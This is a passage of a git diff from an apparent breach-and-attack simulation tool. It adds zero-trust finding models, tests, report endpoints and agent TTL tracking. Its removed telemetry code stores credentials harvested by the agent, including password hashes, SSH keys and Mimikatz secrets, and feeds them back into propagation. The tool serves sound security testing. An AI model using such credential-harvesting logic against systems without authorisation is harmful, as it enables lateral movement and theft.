+ Meaning that we need the user to check something himself (example: 2FA logs, AV missing).
+ Passed ✔
+ Meaning that we are sure that something is correct (example: Monkey failed exploiting).
+
+ This class has 2 main section:
+ * The schema section defines the DB fields in the document. This is the data of the object.
+ * The logic section defines complex questions we can ask about a single document which are asked multiple
+ times, or complex action we will perform - somewhat like an API.
+ """
+ # SCHEMA
+ test = StringField(required=True, choices=TESTS)
+ status = StringField(required=True, choices=ORDERED_TEST_STATUSES)
+ events = EmbeddedDocumentListField(document_type=Event)
+ # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
+ meta = {'allow_inheritance': True}
+
+ # LOGIC
+ def get_test_explanation(self):
+ return TESTS_MAP[self.test][TEST_EXPLANATION_KEY]
+
+ def get_pillars(self):
+ return TESTS_MAP[self.test][PILLARS_KEY]
+
+ # Creation methods
+ @staticmethod
+ def save_finding(test, status, events):
+ finding = Finding(
+ test=test,
+ status=status,
+ events=events)
+
+ finding.save()
+
+ return finding
+
+ def add_events(self, events):
+ # type: (list) -> None
+ self.events.extend(events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py
new file mode 100644
index 000000000..32a450f57
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py
@@ -0,0 +1,50 @@
+from mongoengine import StringField
+
+from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+def need_to_overwrite_status(saved_status, new_status):
+ return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED)
+
+
+class SegmentationFinding(Finding):
+ first_subnet = StringField()
+ second_subnet = StringField()
+
+ @staticmethod
+ def create_or_add_to_existing_finding(subnets, status, segmentation_event):
+ """
+ Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the
+ event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will
+ remain so).
+
+ :param subnets: the 2 subnets of this finding.
+ :param status: STATUS_PASSED or STATUS_FAILED
+ :param segmentation_event: The specific event
+ """
+ assert len(subnets) == 2
+
+ # Sort them so A -> B and B -> A segmentation findings will be the same one.
+ subnets.sort()
+
+ existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1])
+
+ if len(existing_findings) == 0:
+ # No finding exists - create.
+ new_finding = SegmentationFinding(
+ first_subnet=subnets[0],
+ second_subnet=subnets[1],
+ test=TEST_SEGMENTATION,
+ status=status,
+ events=[segmentation_event]
+ )
+ new_finding.save()
+ else:
+ # A finding exists (should be one). Add the event to it.
+ assert len(existing_findings) == 1
+ existing_finding = existing_findings[0]
+ existing_finding.events.append(segmentation_event)
+ if need_to_overwrite_status(existing_finding.status, status):
+ existing_finding.status = status
+ existing_finding.save()
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
new file mode 100644
index 000000000..c1a94166f
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -0,0 +1,53 @@
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestAggregateFinding(IslandTestCase):
+ def test_create_or_add_to_existing(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+ status = STATUS_VERIFY
+ events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+ AggregateFinding.create_or_add_to_existing(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+ AggregateFinding.create_or_add_to_existing(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+ def test_create_or_add_to_existing_2_tests_already_exist(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+ status = STATUS_VERIFY
+ event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
+ events = [event]
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+ Finding.save_finding(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+ AggregateFinding.create_or_add_to_existing(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+ Finding.save_finding(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 2)
+
+ with self.assertRaises(AssertionError):
+ AggregateFinding.create_or_add_to_existing(test, status, events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py
new file mode 100644
index 000000000..c0742407d
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py
@@ -0,0 +1,32 @@
+from mongoengine import ValidationError
+
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestEvent(IslandTestCase):
+ def test_create_event(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ with self.assertRaises(ValidationError):
+ _ = Event.create_event(
+ title=None, # title required
+ message="bla bla",
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
+
+ with self.assertRaises(ValidationError):
+ _ = Event.create_event(
+ title="skjs",
+ message="bla bla",
+ event_type="Unknown" # Unknown event type
+ )
+
+ # Assert that nothing is raised.
+ _ = Event.create_event(
+ title="skjs",
+ message="bla bla",
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
new file mode 100644
index 000000000..88a33d5d3
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
@@ -0,0 +1,38 @@
+from mongoengine import ValidationError
+
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestFinding(IslandTestCase):
+ """
+ Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
+ won't work.
+
+ Also, the working directory needs to be the working directory from which you usually run the island so the
+ server.json file is found and loaded.
+ """
+ def test_save_finding_validation(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ with self.assertRaises(ValidationError):
+ _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[])
+
+ with self.assertRaises(ValidationError):
+ _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[])
+
+ def test_save_finding_sanity(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+
+ event_example = Event.create_event(
+ title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK)
+ Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example])
+
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
+ self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
new file mode 100644
index 000000000..80e564a17
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
@@ -0,0 +1,52 @@
+from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+
+
+class TestSegmentationFinding(IslandTestCase):
+ def test_create_or_add_to_existing_finding(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ first_segment = "1.1.1.0/24"
+ second_segment = "2.2.2.0-2.2.2.254"
+ third_segment = "3.3.3.3"
+ event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ subnets=[first_segment, second_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 1)
+ self.assertEquals(len(SegmentationFinding.objects()[0].events), 1)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ # !!! REVERSE ORDER
+ subnets=[second_segment, first_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 1)
+ self.assertEquals(len(SegmentationFinding.objects()[0].events), 2)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ # !!! REVERSE ORDER
+ subnets=[first_segment, third_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 2)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ # !!! REVERSE ORDER
+ subnets=[second_segment, third_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 3)
diff --git a/monkey/infection_monkey/transport/attack_telems/__init__.py b/monkey/monkey_island/cc/resources/attack/__init__.py
similarity index 100%
rename from monkey/infection_monkey/transport/attack_telems/__init__.py
rename to monkey/monkey_island/cc/resources/attack/__init__.py
diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py
new file mode 100644
index 000000000..da7651f24
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/attack/attack_config.py
@@ -0,0 +1,30 @@
+import flask_restful
+import json
+from flask import jsonify, request
+
+from monkey_island.cc.auth import jwt_required
+from monkey_island.cc.services.attack.attack_config import AttackConfig
+
+__author__ = "VakarisZ"
+
+
+class AttackConfiguration(flask_restful.Resource):
+ @jwt_required()
+ def get(self):
+ return jsonify(configuration=AttackConfig.get_config()['properties'])
+
+ @jwt_required()
+ def post(self):
+ """
+ Based on request content this endpoint either resets ATT&CK configuration or updates it.
+ :return: Technique types dict with techniques on reset and nothing on update
+ """
+ config_json = json.loads(request.data)
+ if 'reset_attack_matrix' in config_json:
+ AttackConfig.reset_config()
+ return jsonify(configuration=AttackConfig.get_config()['properties'])
+ else:
+ AttackConfig.update_config({'properties': json.loads(request.data)})
+ AttackConfig.apply_to_monkey_config()
+ return {}
+
diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py
new file mode 100644
index 000000000..a55137d7e
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/attack/attack_report.py
@@ -0,0 +1,13 @@
+import flask_restful
+from flask import jsonify
+from monkey_island.cc.auth import jwt_required
+from monkey_island.cc.services.attack.attack_report import AttackReportService
+
+__author__ = "VakarisZ"
+
+
+class AttackReport(flask_restful.Resource):
+
+ @jwt_required()
+ def get(self):
+ return jsonify(AttackReportService.get_latest_report()['techniques'])
diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py
deleted file mode 100644
index bef0a8585..000000000
--- a/monkey/monkey_island/cc/resources/attack_telem.py
+++ /dev/null
@@ -1,24 +0,0 @@
-import flask_restful
-from flask import request
-import json
-from monkey_island.cc.services.attack.attack_telem import set_results
-import logging
-
-__author__ = 'VakarisZ'
-
-LOG = logging.getLogger(__name__)
-
-
-class AttackTelem(flask_restful.Resource):
- """
- ATT&CK endpoint used to retrieve matrix related info from monkey
- """
-
- def post(self, technique):
- """
- Gets ATT&CK telemetry data and stores it in the database
- :param technique: Technique ID, e.g. T1111
- """
- data = json.loads(request.data)
- set_results(technique, data)
- return {}
diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py
index d402a440c..54a16f518 100644
--- a/monkey/monkey_island/cc/resources/local_run.py
+++ b/monkey/monkey_island/cc/resources/local_run.py
@@ -7,6 +7,7 @@ from flask import request, jsonify, make_response
import flask_restful
from monkey_island.cc.environment.environment import env
+from monkey_island.cc.models import Monkey
from monkey_island.cc.resources.monkey_download import get_monkey_executable
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.utils import local_ip_addresses
@@ -57,7 +58,7 @@ class LocalRun(flask_restful.Resource):
NodeService.update_dead_monkeys()
island_monkey = NodeService.get_monkey_island_monkey()
if island_monkey is not None:
- is_monkey_running = not island_monkey["dead"]
+ is_monkey_running = not Monkey.get_single_monkey_by_id(island_monkey["_id"]).is_dead()
else:
is_monkey_running = False
diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py
index 7eb7ecc69..8e523a8a7 100644
--- a/monkey/monkey_island/cc/resources/monkey.py
+++ b/monkey/monkey_island/cc/resources/monkey.py
@@ -2,10 +2,12 @@ import json
from datetime import datetime
import dateutil.parser
-from flask import request
import flask_restful
+from flask import request
+from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.database import mongo
+from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
@@ -47,6 +49,9 @@ class Monkey(flask_restful.Resource):
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
+ ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
+ update['$set']['ttl_ref'] = ttl.id
+
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
# Used by monkey. can't secure.
@@ -81,16 +86,16 @@ class Monkey(flask_restful.Resource):
parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run
if parent and parent != monkey_json.get('guid'): # current parent is known
exploit_telem = [x for x in
- mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.result': {'$eq': True},
+ mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True},
'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']},
'monkey_guid': {'$eq': parent}})]
if 1 == len(exploit_telem):
parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter'))
else:
parent_to_add = (parent, None)
- elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json:
+ elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json:
exploit_telem = [x for x in
- mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.result': {'$eq': True},
+ mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True},
'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})]
if 1 == len(exploit_telem):
@@ -106,6 +111,9 @@ class Monkey(flask_restful.Resource):
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
monkey_json.pop('tunnel')
+ ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
+ monkey_json['ttl_ref'] = ttl.id
+
mongo.db.monkey.update({"guid": monkey_json["guid"]},
{"$set": monkey_json},
upsert=True)
diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py
index 78a092a26..d5b30e9a8 100644
--- a/monkey/monkey_island/cc/resources/monkey_download.py
+++ b/monkey/monkey_island/cc/resources/monkey_download.py
@@ -1,3 +1,4 @@
+import hashlib
import json
import logging
import os
@@ -83,9 +84,33 @@ class MonkeyDownload(flask_restful.Resource):
if result:
# change resulting from new base path
- real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', result['filename'])
+ executable_filename = result['filename']
+ real_path = MonkeyDownload.get_executable_full_path(executable_filename)
if os.path.isfile(real_path):
result['size'] = os.path.getsize(real_path)
return result
return {}
+
+ @staticmethod
+ def get_executable_full_path(executable_filename):
+ real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', executable_filename)
+ return real_path
+
+ @staticmethod
+ def log_executable_hashes():
+ """
+ Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.).
+ """
+ filenames = set([x['filename'] for x in MONKEY_DOWNLOADS])
+ for filename in filenames:
+ filepath = MonkeyDownload.get_executable_full_path(filename)
+ if os.path.isfile(filepath):
+ with open(filepath, 'rb') as monkey_exec_file:
+ file_contents = monkey_exec_file.read()
+ logger.debug("{} hashes:\nSHA-256 {}".format(
+ filename,
+ hashlib.sha256(file_contents).hexdigest()
+ ))
+ else:
+ logger.debug("No monkey executable for {}.".format(filepath))
diff --git a/monkey/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py
deleted file mode 100644
index 62a014fef..000000000
--- a/monkey/monkey_island/cc/resources/report.py
+++ /dev/null
@@ -1,13 +0,0 @@
-import flask_restful
-
-from monkey_island.cc.auth import jwt_required
-from monkey_island.cc.services.report import ReportService
-
-__author__ = "itay.mizeretz"
-
-
-class Report(flask_restful.Resource):
-
- @jwt_required()
- def get(self):
- return ReportService.get_report()
diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/monkey/monkey_island/cc/resources/reporting/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py
new file mode 100644
index 000000000..8c5286fee
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/reporting/report.py
@@ -0,0 +1,41 @@
+import httplib
+
+
+import flask_restful
+from flask import jsonify
+
+from monkey_island.cc.auth import jwt_required
+from monkey_island.cc.services.reporting.report import ReportService
+from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
+
+ZERO_TRUST_REPORT_TYPE = "zero_trust"
+SECURITY_REPORT_TYPE = "security"
+REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE]
+
+REPORT_DATA_PILLARS = "pillars"
+REPORT_DATA_FINDINGS = "findings"
+REPORT_DATA_PRINCIPLES_STATUS = "principles"
+
+__author__ = ["itay.mizeretz", "shay.nehmad"]
+
+
+class Report(flask_restful.Resource):
+
+ @jwt_required()
+ def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None):
+ if report_type == SECURITY_REPORT_TYPE:
+ return ReportService.get_report()
+ elif report_type == ZERO_TRUST_REPORT_TYPE:
+ if report_data == REPORT_DATA_PILLARS:
+ return jsonify({
+ "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
+ "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
+ "grades": ZeroTrustService.get_pillars_grades()
+ }
+ )
+ elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
+ return jsonify(ZeroTrustService.get_principles_status())
+ elif report_data == REPORT_DATA_FINDINGS:
+ return jsonify(ZeroTrustService.get_all_findings())
+
+ flask_restful.abort(httplib.NOT_FOUND)
diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py
index 828a97682..d7cae8bd7 100644
--- a/monkey/monkey_island/cc/resources/root.py
+++ b/monkey/monkey_island/cc/resources/root.py
@@ -1,16 +1,18 @@
from datetime import datetime
import logging
+import threading
import flask_restful
from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
-from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.services.report import ReportService
+from monkey_island.cc.services.reporting.report import ReportService
+from monkey_island.cc.services.attack.attack_report import AttackReportService
+from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports
from monkey_island.cc.utils import local_ip_addresses
-from monkey_island.cc.services.post_breach_files import remove_PBA_files
+from monkey_island.cc.services.database import Database
__author__ = 'Barak'
@@ -18,15 +20,17 @@ logger = logging.getLogger(__name__)
class Root(flask_restful.Resource):
+ def __init__(self):
+ self.report_generating_lock = threading.Event()
def get(self, action=None):
if not action:
action = request.args.get('action')
if not action:
- return Root.get_server_info()
+ return self.get_server_info()
elif action == "reset":
- return Root.reset_db()
+ return jwt_required()(Database.reset_db)()
elif action == "killall":
return Root.kill_all()
elif action == "is-up":
@@ -34,21 +38,12 @@ class Root(flask_restful.Resource):
else:
return make_response(400, {'error': 'unknown action'})
- @staticmethod
@jwt_required()
- def get_server_info():
- return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
- completed_steps=Root.get_completed_steps())
-
- @staticmethod
- @jwt_required()
- def reset_db():
- remove_PBA_files()
- # We can't drop system collections.
- [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
- ConfigService.init_config()
- logger.info('DB was reset')
- return jsonify(status='OK')
+ def get_server_info(self):
+ return jsonify(
+ ip_addresses=local_ip_addresses(),
+ mongo=str(mongo.db),
+ completed_steps=self.get_completed_steps())
@staticmethod
@jwt_required()
@@ -59,15 +54,22 @@ class Root(flask_restful.Resource):
logger.info('Kill all monkeys was called')
return jsonify(status='OK')
- @staticmethod
@jwt_required()
- def get_completed_steps():
+ def get_completed_steps(self):
is_any_exists = NodeService.is_any_monkey_exists()
infection_done = NodeService.is_monkey_finished_running()
- if not infection_done:
- report_done = False
- else:
- if is_any_exists:
- ReportService.get_report()
+
+ if infection_done:
+ # Checking is_report_being_generated here, because we don't want to wait to generate a report; rather,
+ # we want to skip and reply.
+ if not is_report_being_generated() and not ReportService.is_latest_report_exists():
+ safe_generate_reports()
report_done = ReportService.is_report_generated()
- return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)
+ else: # Infection is not done
+ report_done = False
+
+ return dict(
+ run_server=True,
+ run_monkey=is_any_exists,
+ infection_done=infection_done,
+ report_done=report_done)
diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py
index 04a6ddbd1..dc6a7d512 100644
--- a/monkey/monkey_island/cc/resources/telemetry.py
+++ b/monkey/monkey_island/cc/resources/telemetry.py
@@ -1,6 +1,5 @@
import json
import logging
-import copy
from datetime import datetime
import dateutil
@@ -9,16 +8,12 @@ from flask import request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
-from monkey_island.cc.services import mimikatz_utils
-from monkey_island.cc.services.config import ConfigService
-from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.encryptor import encryptor
-from monkey_island.cc.services.wmi_handler import WMIHandler
+from monkey_island.cc.services.telemetry.processing.processing import process_telemetry
+from monkey_island.cc.models.monkey import Monkey
__author__ = 'Barak'
-
logger = logging.getLogger(__name__)
@@ -26,7 +21,7 @@ class Telemetry(flask_restful.Resource):
@jwt_required()
def get(self, **kw):
monkey_guid = request.args.get('monkey_guid')
- telem_type = request.args.get('telem_type')
+ telem_category = request.args.get('telem_category')
timestamp = request.args.get('timestamp')
if "null" == timestamp: # special case to avoid ugly JS code...
timestamp = None
@@ -36,8 +31,8 @@ class Telemetry(flask_restful.Resource):
if monkey_guid:
find_filter["monkey_guid"] = {'$eq': monkey_guid}
- if telem_type:
- find_filter["telem_type"] = {'$eq': telem_type}
+ if telem_category:
+ find_filter["telem_category"] = {'$eq': telem_category}
if timestamp:
find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)}
@@ -48,18 +43,15 @@ class Telemetry(flask_restful.Resource):
def post(self):
telemetry_json = json.loads(request.data)
telemetry_json['timestamp'] = datetime.now()
+ telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host}
+
+ # Monkey communicated, so it's alive. Update the TTL.
+ Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl()
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ NodeService.update_monkey_modify_time(monkey["_id"])
- try:
- NodeService.update_monkey_modify_time(monkey["_id"])
- telem_type = telemetry_json.get('telem_type')
- if telem_type in TELEM_PROCESS_DICT:
- TELEM_PROCESS_DICT[telem_type](telemetry_json)
- else:
- logger.info('Got unknown type of telemetry: %s' % telem_type)
- except Exception as ex:
- logger.error("Exception caught while processing telemetry", exc_info=True)
+ process_telemetry(telemetry_json)
telem_id = mongo.db.telemetry.insert(telemetry_json)
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@@ -79,197 +71,10 @@ class Telemetry(flask_restful.Resource):
monkey_label = telem_monkey_guid
x["monkey"] = monkey_label
objects.append(x)
- if x['telem_type'] == 'system_info_collection' and 'credentials' in x['data']:
+ if x['telem_category'] == 'system_info' and 'credentials' in x['data']:
for user in x['data']['credentials']:
if -1 != user.find(','):
new_user = user.replace(',', '.')
x['data']['credentials'][new_user] = x['data']['credentials'].pop(user)
return objects
-
- @staticmethod
- def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
- dst_ip = telemetry_json['data']['machine']['ip_addr']
- dst_domain_name = telemetry_json['data']['machine']['domain_name']
- src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
- dst_node = NodeService.get_monkey_by_ip(dst_ip)
- if dst_node is None:
- dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
-
- return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
-
- @staticmethod
- def process_tunnel_telemetry(telemetry_json):
- monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
- if telemetry_json['data']['proxy'] is not None:
- tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
- NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
- else:
- NodeService.unset_all_monkey_tunnels(monkey_id)
-
- @staticmethod
- def process_state_telemetry(telemetry_json):
- monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
- if telemetry_json['data']['done']:
- NodeService.set_monkey_dead(monkey, True)
- else:
- NodeService.set_monkey_dead(monkey, False)
-
- @staticmethod
- def process_exploit_telemetry(telemetry_json):
- edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
- Telemetry.encrypt_exploit_creds(telemetry_json)
-
- new_exploit = copy.deepcopy(telemetry_json['data'])
-
- new_exploit.pop('machine')
- new_exploit['timestamp'] = telemetry_json['timestamp']
-
- mongo.db.edge.update(
- {'_id': edge['_id']},
- {'$push': {'exploits': new_exploit}}
- )
- if new_exploit['result']:
- EdgeService.set_edge_exploited(edge)
-
- for attempt in telemetry_json['data']['attempts']:
- if attempt['result']:
- found_creds = {'user': attempt['user']}
- for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
- if len(attempt[field]) != 0:
- found_creds[field] = attempt[field]
- NodeService.add_credentials_to_node(edge['to'], found_creds)
-
- @staticmethod
- def process_scan_telemetry(telemetry_json):
- edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
- data = copy.deepcopy(telemetry_json['data']['machine'])
- ip_address = data.pop("ip_addr")
- domain_name = data.pop("domain_name")
- new_scan = \
- {
- "timestamp": telemetry_json["timestamp"],
- "data": data
- }
- mongo.db.edge.update(
- {"_id": edge["_id"]},
- {"$push": {"scans": new_scan},
- "$set": {"ip_address": ip_address, 'domain_name': domain_name}}
- )
-
- node = mongo.db.node.find_one({"_id": edge["to"]})
- if node is not None:
- scan_os = new_scan["data"]["os"]
- if "type" in scan_os:
- mongo.db.node.update({"_id": node["_id"]},
- {"$set": {"os.type": scan_os["type"]}},
- upsert=False)
- if "version" in scan_os:
- mongo.db.node.update({"_id": node["_id"]},
- {"$set": {"os.version": scan_os["version"]}},
- upsert=False)
-
- @staticmethod
- def process_system_info_telemetry(telemetry_json):
- users_secrets = {}
- monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
- if 'ssh_info' in telemetry_json['data']:
- ssh_info = telemetry_json['data']['ssh_info']
- Telemetry.encrypt_system_info_ssh_keys(ssh_info)
- if telemetry_json['data']['network_info']['networks']:
- # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
- Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
- Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
- if 'credentials' in telemetry_json['data']:
- creds = telemetry_json['data']['credentials']
- Telemetry.encrypt_system_info_creds(creds)
- Telemetry.add_system_info_creds_to_config(creds)
- Telemetry.replace_user_dot_with_comma(creds)
- if 'mimikatz' in telemetry_json['data']:
- users_secrets = mimikatz_utils.MimikatzSecrets.\
- extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
- if 'wmi' in telemetry_json['data']:
- wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
- wmi_handler.process_and_handle_wmi_info()
- if 'aws' in telemetry_json['data']:
- if 'instance_id' in telemetry_json['data']['aws']:
- mongo.db.monkey.update_one({'_id': monkey_id},
- {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}})
-
- @staticmethod
